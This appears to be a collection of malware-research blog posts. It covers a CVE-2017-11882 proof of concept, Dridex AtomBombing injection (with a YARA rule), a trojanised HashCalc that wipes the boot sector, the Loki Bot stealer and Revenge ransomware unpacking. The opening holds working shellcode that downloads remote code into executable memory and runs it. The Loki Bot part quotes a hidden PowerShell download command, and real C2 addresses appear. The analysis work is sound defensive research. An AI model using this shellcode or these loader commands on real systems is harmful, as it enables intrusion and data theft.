lea edx, [ebx+(InternetReadFileStr - init)]
push edx             ; "InternetReadFile"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetReadFileAddr
mov [ebx+(InternetReadFileAddr-init)], eax

; Clean esi
xor esi, esi

; Call to VirtualAlloc
push 40h             ; PAGE_EXECUTE_READWRITE
push 3000h           ; 0x1000 (MEMCOMMIT) and 0x2000 (MEMRESERVE)
push 19000h          ; size
push esi             ; lpAddress
mov edi, 4667D8h     ; VirtualAllocAddr
Call DWord Ptr [Edi] ; Call VirtualAlloc

Push Eax ; Save eax (Memory allocated Start Address) from VirtualAlloc into Stack

; Call to InternetOpenAddr
lea edx, [ebx+(UserAgent - init)] ; UserAgent
push esi ; NULL
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; UserAgent
mov edi, [ebx+(InternetOpenAddr - init)]
call edi ; Call to InternetOpenAddr

; Call to InternetOpenUrl
lea edx, [ebx+(URLOpen - init)]
push esi ; NULL
push INTERNET_FLAG_EXISTING_CONNECT
push esi ; NULL
push esi ; NULL
push edx ; URL
push eax ; InternetOpenHandle
mov edi, [ebx+(InternetOpenUrlAddr - init)]
call edi ; Call to InternetOpenUrl

Mov Edi, [Ebx + (InternetReadFileAddr - init)]
Pop Edx  ; Start Address memory alloc
Lea Esi, [Ebx + (BytesRead - init)]

Push Edx ; Save Start Address of memory allocated

ReadFileInit:

Push Edx ; Save Start Address of memory allocated (Buffer)
Push Eax ; Save Handle of InternetOpenUrl

push esi  ; Pointer to a variable that receives the number of bytes readed
Push 2000 ; Size Number of bytes to be read
push edx  ; Buffer
push eax  ; InternetOpenUrlHandle
Call Edi

Pop Eax ; Recover Handle of InternetOpenUrl
Pop Edx ; Recover Start Address of memory allocated (Buffer)
Add Edx, [Esi] ; Modifies buffer 

cmp DWord Ptr [Esi], 2000
jz ReadFileInit

Pop Edx ; Recover Start Address of the allocated memory 
Jmp Edx ; Jump into the fileless code 

; To know the size of the shellcode
_critical:

Mov Eax, (_critical - init)

End start

Conclusion

As we have demostrated in this POC, is possible to perform a fileless code injection.

We recomend everyone to UPDATE Microsoft Office in order to be protected against this vulnerability.

Acknowledgment

Embedy Company (https://github.com/embedi/CVE-2017-11882)
unamer (https://github.com/unamer/CVE-2017-11882)
@ValthekOn (https://29wspy.ru/reversing/CVE-2017-11882.pdf)
@D00RT_RM

Author: @51ddh4r7h4

Dridex has evolved, and now Dridex V4 uses Atom Bombing to perform process injection.

This method allows Dridex to perform sneaky injections to evade AV solutions.

In this post, we are going to explain how Dridex gain persistence in the system and how Dridex performs AtomBombing in detail.

Persistence

This Dridex version uses different techniques to persist into the system.

First the malware enumerates all executable files into the "C:\Windows\System32\" folder.

Dridex has a preloaded hash. For each filename, the malicious code calculates its hash. When the calculated hash matches with the Dridex preloaded hash, the malware will save the filename to use it later.

In the image below, in r12d we can found the preloaded hash and in RAX the filename hash, that Dridex is looking for. The malware compares both values. In this case matchs because the file that the malware was searching was "optionalfeatures.exe".

After choosing the executable, the malware reads the executable IAT and then selects a dll from the IAT. The malicious code will do that to use a dll hijacking technique. (In RDX we can find the import directory address).

When the dll is chosen from the executable IAT, Dridex reads and copies the EAT from the chosen dll. (In this case the selected dll is appwiz.dll).

You can find below the function that Dridex uses to obtain the EAT.

The EAT is copied into a buffer.

Once this is done, the malware copies itself and adds a new section into itself (This section has a random name). The dridex copies the obtained "EAT" in that section.

With this technique (DLL hijacking) when OptionalFeatures.exe is executed it will load appwiz.dll but appwiz.dll is a modified copy of dridex.

After get an executable and its modified dll, both files will be saved into the disk, then some registry keys will be added to execute the binary when the system boots.

The registry key is added with a random name in "..\SOFTWARE\Microsoft\Windows\CurrentVersion\Run{randomstring}"

A lnk file into startup folder.

Finally the malware copies another two files (an executable and a modified dll) into "C:\Windows\System32[0-9]{4}" folder and creates a programed task that will execute that executable each hour.

Notice that in each execution Dridex will choose a different executable file and a different dll for its persistence.

AtomBombing Injection

AtomBombing injection method is based in APC injection, but in this case, this method uses the Atoms (Windows Executive Objects) to hide and copy the shellcode into the process objetive.

The use of Atoms make the injection more stealthy because the AV products usually do not make any check when Atom creation or reading occurs.

In addition, is difficult to analyze in real time, because the malware analysts are not able to check the Atoms in an easy way, moreover Dridex delete the atoms during the injection process, making more difficult to obtain the shellcode via atoms.

In our opinion, we think that is more useful to obtain the shellcode directly from the injected process, and by that reason we are going to explain all the process showing the injection from the malicious Dridex DLL to the explorer.exe.

What Dridex does?

We are going to explain briefly, what are the steps that Dridex take in order to perform process injection via AtomBombing.

Looking for explorer.exe

The first step in this case, is to find explorer.exe, to do this, Dridex uses "CreateToolhelp32Snapshot"function to create an snapshot of all system processes, and then it will navigate among the processes using Process32FirstW and Process32NextW until explorer.exe is found.

Looking for alertable threads

In this step, an alertable thread is needed to perform APC calls. Because using APC calls Dridex will be able to execute specific functions into explorer.exe.

To acomplish this, Dridex will obtain the handle to the process using OpenProcess function.

The handle will be used to launch NtQueueApcThread function in all the explorer's threads, setting NtSetEvent as ApcRoutine.

NtQueueApcThread(

  IN HANDLE               ThreadHandle,
  IN PIO_APC_ROUTINE      ApcRoutine,
  IN PVOID                ApcRoutineContext OPTIONAL,
  IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,
  IN ULONG                ApcReserved OPTIONAL );

The first thread that performs NtSetEvent will be the "chosen one" to perform the APC calls.

In this case, the thread that performed NtSetEvent first was the thread with 0xFC handle.

The handle 0xFC = Thread ID 920 (decimal) to hexadecimal 398

Writing the shellcode into explorer.exe

Now with the first thread that replied the APC call, the malicious DLL will performs the first "NtQueueApcThread" setting ntdll.memset to 0 where the code will be injected.

Memory of explorer.exe where memset was performed:

Now Dridex will create a new Atom with the first bytes that will be copied into explorer.exe.

The next function that will be used in conjuction with NtQueueApcThread will be GlobalGetAtomNameW.

As we can see, GlobalGetAtomNameW will be used with C06B, that is the name of the Atom that was created (used as container) in order to inject the data from Dridex.dll to explorer.exe

GlobalGetAtomNameW performed by explorer.exe because of the NtQueueApcThread call.

Data injected into explorer.exe in 775CAAA0 offset.

Shellcode functions

Dridex will continue injecting data into explorer.exe using the same technique:

Shellcode

When the first code has been injected, it will use memset to set to 0 -> 0x7758c5f0 (ntdll memory space):

Then using again AtomBombing it will inject the shellcode:

Modifying GlobalAtomGetAtomNameA to launch the shellcode

Now with all the necessary code injected into explorer.exe, Dridex will call the shellcode using this sneaky trick:

It will modify the original GlobalGetAtomNameA function, so that when GlobalGetAtomNameA will be called via NtQueueApcThread, the shellcode will be executed. Once the malicious DLL will launch the shellcode using this trick, it will restore GlobalGetAtomA.

After all this process, Dridex will check if there is any process opened with the names iexplorer.exe, chrome.exe, firefox.exe... In order to perform a new injection into the browser using the same tecnique again.

Why NTDLL?

ntdll.dll is one of the DLLs that are at the same address system-wide, that means that its functions addresses will be fixed among all the processes with the ntdll library loaded.

That makes the injection easier for Dridex, because it only has to know where the ntdll addresses have been loaded, looking into its process and with that information, it will perform injections in other processes because the functions addresses of NTDLL are fixed.

Other important libraries that have fixed addreses are kernel32 and user32.

Debugging advices, the explorer trick:

If you attach the x64dbg to explorer.exe to analyze the shellcode injected by the Dridex DLL, you will notice that if you set a break point, all the windows will be frozen. And if you are using at the same time IDA to create an IDB could be very annoying.

The way to solve this, is creating other instance of the original explorer.exe. This could sound of common sense, but you have to know how the trick works :P.

1. Copy explorer.exe from C:\Windows\explorer.exe to the Desktop.
2. Now if you execute explorer.exe you will notice that there is only one explorer.exe in execution (This not works)
3. Change the name of the explorer.exe from the desktop, example "aaaa.exe" and execute it, as you can see, now you have two explorer.exe instances in execution (the name "aaaa.exe" will be changed to "explorer.exe")
4. Now we have two instances of explorer.exe but we want that the Dridex DLL only performs the injection routine into the new explorer.exe, to achive this we have to the next:
5. We have to open the malicious Dridex DLL with x64dbg (set a bp in "NtQueueAPCThread"), then we have to attach our x64dbg to the new explorer.exe created and set a break point into "GlobalAtomGetAtomNameW".
6. Then, using the task manager, we have to close the first explorer.exe and run the x64dbg with Dridex DLL until "NtQueueAPCThread".
7. At this point, Dridex will be inject the shellcode in our explorer.exe.
8. Now we want to recover our pretty desktop, to perform that, you have to open the task manager, launch a cmd and run explorer.exe. You will notice that you can navigate among all the windows, set bp into explorer.exe without froze all the desktop and complete your IDB in IDA Pro without any problem.
9. Run Dridex Dll x64dbg and start you analysis!

AtomBombing will be used in the future by other malware developers?

In our opinion, this injection method is very useful and difficult to hunt if you do not understand how AtomBombing works, because Atoms are Windows Executive Objects and there are few tools able to capture their changes in a comfortable way.

Moreover the method that Dridex uses do not perform any ROP like the original POC, in this case it modifies the original function "GlobalAtomGetAtomNameA" to launch the shellcode, making the implementation process easier but less stealthy.

Yara Rule

rule Dridex : banker
{
    meta:
      author = "51ddh4r7h4 & D00RT"
      date = "2017/08/01"
      description = "Dridex V4"
      reference/source = "http://reversingminds-blog.logdown.com"
      sample = "c19a33ec0125d579c4ab695363df49f7"
      in_the_wild = true

    strings:
        $a = {48 83 EC 18 B8 41 45 38 09 C7 44 24 10 E1 28 71 01 8B 54 24 10 29 D0 89 44 24 0C 81 7C 24 0C 57 E4 75 2A 89 4C 24
              08 89 54 24 04 75 00 8B 44 24 08 89 04 24 8B 0C 24 65 67 48 8B 11 44 8B 44 24 04 41 81 C0 B4 AE 33 78 44 89 44 24
              14 48 89 D0 48 83 C4 18 C3 66 66 2E 0F 1F 84 00 00 00 00 00 48 83 EC 38 48 C7 44 24 30 70 D1 E6 75 48 8B 44 24 30
              48 35 21 50 E2 06 48 3D 48 39 05 15 72 0F B9 30 00 00 00 48 83 C4 38 48 E9 71 FF FF FF B9 76 A0 92 6C E8 67 FF FF
              FF 31 C9 89 CA 48 89 44 24 28 48 89 D0 48 83 C4 38 C3 66 0F 1F 44 00 00 48 83 EC 38 C7 44 24 34 85 1B 96 21 8B 44
              24 34 89 44 24 2C E8 97 FF FF FF 8B 4C 24 2C 81 E1 E0 CA 13 57 89 4C 24 30 8B 4C 24 2C 81 F9 7A 6B 6F 57 48 89 44
              24 20 75 00 8B 44 24 2C 35 55 36 B4 45 89 44 24 30 48 8B 4C 24 20 48 8B 41 60 48 83 C4 38 C3 66 66 66 66 2E 0F 1F
              84 00 00 00 00 00 48 83 EC 40 44 88 C8 41 B9 DC 96 50 30 45 89 CA 48 C7 44 24 28 5A 5B 6C 45 44 8B 4C 24 3C 41 81
              C1 AC 6F 55 46 44 89 4C 24 3C 4C 8B 5C 24 28 48 89 4C 24 10 4C 89 D9 49 D3 E2 4C 89 54 24 20 49 81 FB D2 F4 A4 6B
              48 89 54 24 08 88 44 24 07 44 89 04 24 77 33 B8 3B 48 13 64 C7 44 24 18 6E 8B 6E 1D 8B 0C 24 89 CA 41 89 D0 4C 89
              44 24 30 4C 8B 44 24 30 4C 8B 4C 24 08 47 8A 14 01 44 88 54 24 1F 3B 44 24 18 75 00 48 8B 44 24 30 8A 4C 24 1F 8A
              54 24 07 28 D1 4C 8B 44 24 10 41 88 0C 00 48 83 C4 40 C3 66 66 2E 0F 1F 84}

    condition:
        $a 
}

Summary

Authors: @51ddh4r7h4, @D00RT

During my researches I found the next file.

The file is the HashCalc application made by SlavaSoft company (or no).

It works as its definition into SlavaSoft homepage:

A fast and easy-to-use calculator that allows to compute message digests, checksums and HMACs for files, as well as for text and hex strings. It offers a choice of 13 of the most popular hash and checksum algorithms for calculations.

And the binary has all features described in its description.

After a static analysis, I did not find anything interesting, just in the ".text" section there is permission to write, but this is typical in some packers.

When I analyzed the binary dynamically, no suspicious behavior was detected, I tried almost all features.

At this point, I was confused, it seems a legitimate binary, if there have not enough time to analyze the file, every people (including me) will say that the binary is goodware.

Before starting to debug the program, I thought to download the file from its homepage and compare it with my binary. But usually when a file is been analyzed we can not get the original file for comparing. In those cases, there are two choices, finish the analysis or to debug the full binary. If the binary is too big, we can spend a very long time to debug it, some times will be almost impossible if we want to have an immediate response(+100MB).

In this case I have the original file but, is there some hidden feature in the program I am analyzing? let's see.

They have the same entry point.

The MD5 value of all sections are equal, except in one case, ".text" section.

Comparing ".text" section we can found the differences between both files at the last bytes of the section.

If we decompile those bytes with hiew, we can read some ASM instrucctions.

I am going to put a breakpoint at the first instruccion, I want to debug that code. Maybe the code is executed or maybe no. Maybe it is not a code.

After put the breakpoint, the application runs well and it does not stop its execution. The images below show me testing some features of the application without stopping its execution.

In the next image, when I try to get the hash signatures from a file, the application stops its execution.

Now we are at the first instruction of the code seen previously. This code tries to decrypt itself. This image is the encrypted shellcode.

Function for decrypt the shellcode. (It is a simple XOR with 7 value).

Decrypted shellcode.

There are some interesting strings into decrypted shellcode:

- SLAVA
- kernel32
- ANNA (Anna Chapman???)
- CreateEventA
- \\.\PhysicalDrive0
- ALISA
- KATI
- ntdll

The shellcode looks like:

The shellcode does the next steps:

1. The code decrypts itself.
2. Adjusts Privileges (SeDebugPrivilege).

3. It creates a event named SLAVA. If the event is not created yet, it returns to original code, so this code is waiting for this event. (An event created by who?, It is too easy to create a legitimate program to create an event...)

4. The shellcode overwrites the first 512 bytes from "\\.\PhysicalDrive0" (boot sector). When this sector is overwritten the computer will never boot.

5. The code encrypts itself. It does this to hide the malicious code

6. It returns to original code.

If you remember the first image of this post, the file is detected only by one AV :O.

Conclusions: In these cases, is difficult to find the malicious code (It only is activated when a specific feature is used), think in a binary with +50MB. Maybe if we have the original file we can focus our analysis in the differences, but in some times this is not possible. We have to spend a lot of time (or money) to find malicious code. This file could be an APT waiting for third party event(Who did make this file? Why? Are they using a tool to make this?). So, if we have the oportunity, we must compare the file with the original file. But, What happen when we can not get the original file?

Author: @D00RT

A few hours after the last ransomware attack with the "NotPetya" ransomware, some files were related to the attack as attack vector. Some antimalware companies and malware research comunities spoke about some domains and samples that have been related to this attack.

By that reason, I started to analyze the samples to get to the bottom of the matter. r your tranquillity, I must say that the samples are not related to “NotPetya" ransomware but they are related to an interesting malware which I am going to explain, dubbed “Loki Bot”.

Attack vector.

Loki Bot is a sensitive information stealer. Loki Bot can read private information from a large list of Windows programs and sends it to CnC.

You can buy this malware on internet with differents modules and features.

Like some malware researchers said, the attack vector starts with a .doc file. This file exploits a known vulnerability (CVE-2017-0199 – Info) for download other file from a server (84.200.16.242/myguy.xls).

The downloaded .xls file has an embedded macro that downloads a binary file from another server using PowerShell.

We can find the script opening the xls file with an Hex Editor

After extract the script and execute it, the script will try to download a .exe file from french-cooking[.]com domain.

PowerShell command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.]com/myguy.]exe[', 'C:\Users\d00rt\AppData\Roaming\45298.exe');

Finally when myguy.exe is executed, it tries to connect with the CnC, coffeinoffice.xyz

Let's see what happens with myguy.exe ;)

Loki Bot Analysis.

UNPACKING

This sample is protected with a custom packer, but finally it uses the RunPE technique to unpack itself, at this moment we can dump it and start a comfortable analysis.

WINDOWS API

This sample is not easy to analyze, it has some techniques to make the analysis more difficult. For example, to perform a call to any function of Windows Api, it uses a special function. In order to make it works, the malware has to push three values, then the function will return a memory addres related to the function that it is looking for.

Main functionality

Loki Bot initializes WSASTartup, then it creates a Mutex with the same name that the machine GUID MD5.

import hashlib
mutex_name = hashlib.md5(machine_GUID).hexdigest()[:24]

Later Lokibot collects sensitive information from the supported modules and sends it to CnC.
After stealing data, it gains persistence on the system and finally it waits the CnC commands in a loop.

SENSITIVE DATA

Loki Bot supports a lot of different Windows applications to steal information. In the following table you can find all the modules that I could identify during the analysis.

Loki Bot loads an array with different address and call them dynamically.

During my analysis, the malware got my gmail account data from Comodo/Dragon Browser and FileZilla config. (Look at stolen data, you can see passwords in plain text :O ).

Once the LokiBot has finished stealing data, it prepares a packet to send to CnC. The data is compressed by an algorithm.

The first data size was 0x2541 and now the size is 0xB27

The malware obtains the computer metadata to identify the stolen data with the computer where the stolen data was gotten. This metadata will be the header of the packet that will be send to CnC including some flags (data size, stolen data size per each module...) which I am not going to explain in depth in this post.

In the next image we see the final payload to send to CnC and the CnC domain:

HTTP-request (I patched the host to see the request because the real server is down). It uses "Mozilla/4.08 (Charon; Inferno)" as User-Agent.

Finally Loki Bot stay looping waiting commands from CnC, Loki Bot sends to the CnC a "clean" packet (Just with the metadata header we saw previously). If the CnC responses to the requests, Loki Bot Creates a thread for parsing the CnC answer.

I analyzed this part statically because the server is down, so some parts are not clear but I found different behaviours depending on the CnC response.

1. The CnC can asks to steal sensitive data again.  
2. The CnC can requests to the compromised computer that download, execute and load files and libraries.

Basically Loki bot looks like it can do what it want. It could perform backdoor task, or update itself with new features.

PERSISTENCE

Loki bot copies and hides itself into the next folder “C:\Users\d00rt\AppData\Roaming\72431D”. The malware sets the folder and files attributes using SetFileAttributes with 0x2006 attributes.

Author: @D00RT

Revenge is a ransomware that ciphers user files with .REVENGE extension.

Analyzed sample:
md5, e0d52cc8793592184a854fde5afaf152
sha256, f5bceebaecb329380385509d263f55e3d7bddde02377636a0e15f8bfd77a84a6

After run the sample it leave a help file next to the ciphered files.

Inside the help file there are the instructions to recover the ciphered files.
Also, it connect with the CnC and send user data.
This is not a behaivor analysis of Revenge so, lets unpack it.

After a research we see a call to GlobalAlloc with the size 0xB400, so we will put a BP to see where and what it drops in the memory address returned by GlobalAlloc.

We are going to debug with OllyDBG.
We set the BP on GlobalAlloc. After GlobalAlloc call, we can see the address where the some data will be dropped. In my case it is 0x0015B7F0 (EAX)

We follow the address in Hex dump and we can see a empty section. Bellow GlobalAlloc we see the RtlMoveMemory function with a length 0xB400 as parameter (Like before Allocated memory size) so probably in that call some data will be moved from somewhere to allocated memory. Lets see

After set the BP in the next instrucction and press run we see that some data was dropped to allocated memory.

They look like encrypted data or garbage
We see a call to a function bellow last instrucction maybe it is the decipher algorithm. We run to 0x00407183 address (after possible decryption algorithm) and we can see deciphered data and it seems a PE file so, lets dump.

We do static analysis to the dumped file and we see interesting strings:

- 109.236.87.201 (CNC)
- /js/other_scripts/get.php
- EMAIL: revenge00@writeme.com (Support mail)

And many more:

If we run the dumped exe it run well and it starts ciphering the files.

As you can See is a PE and we can open with IDA or another debugger.

Author: @D00RT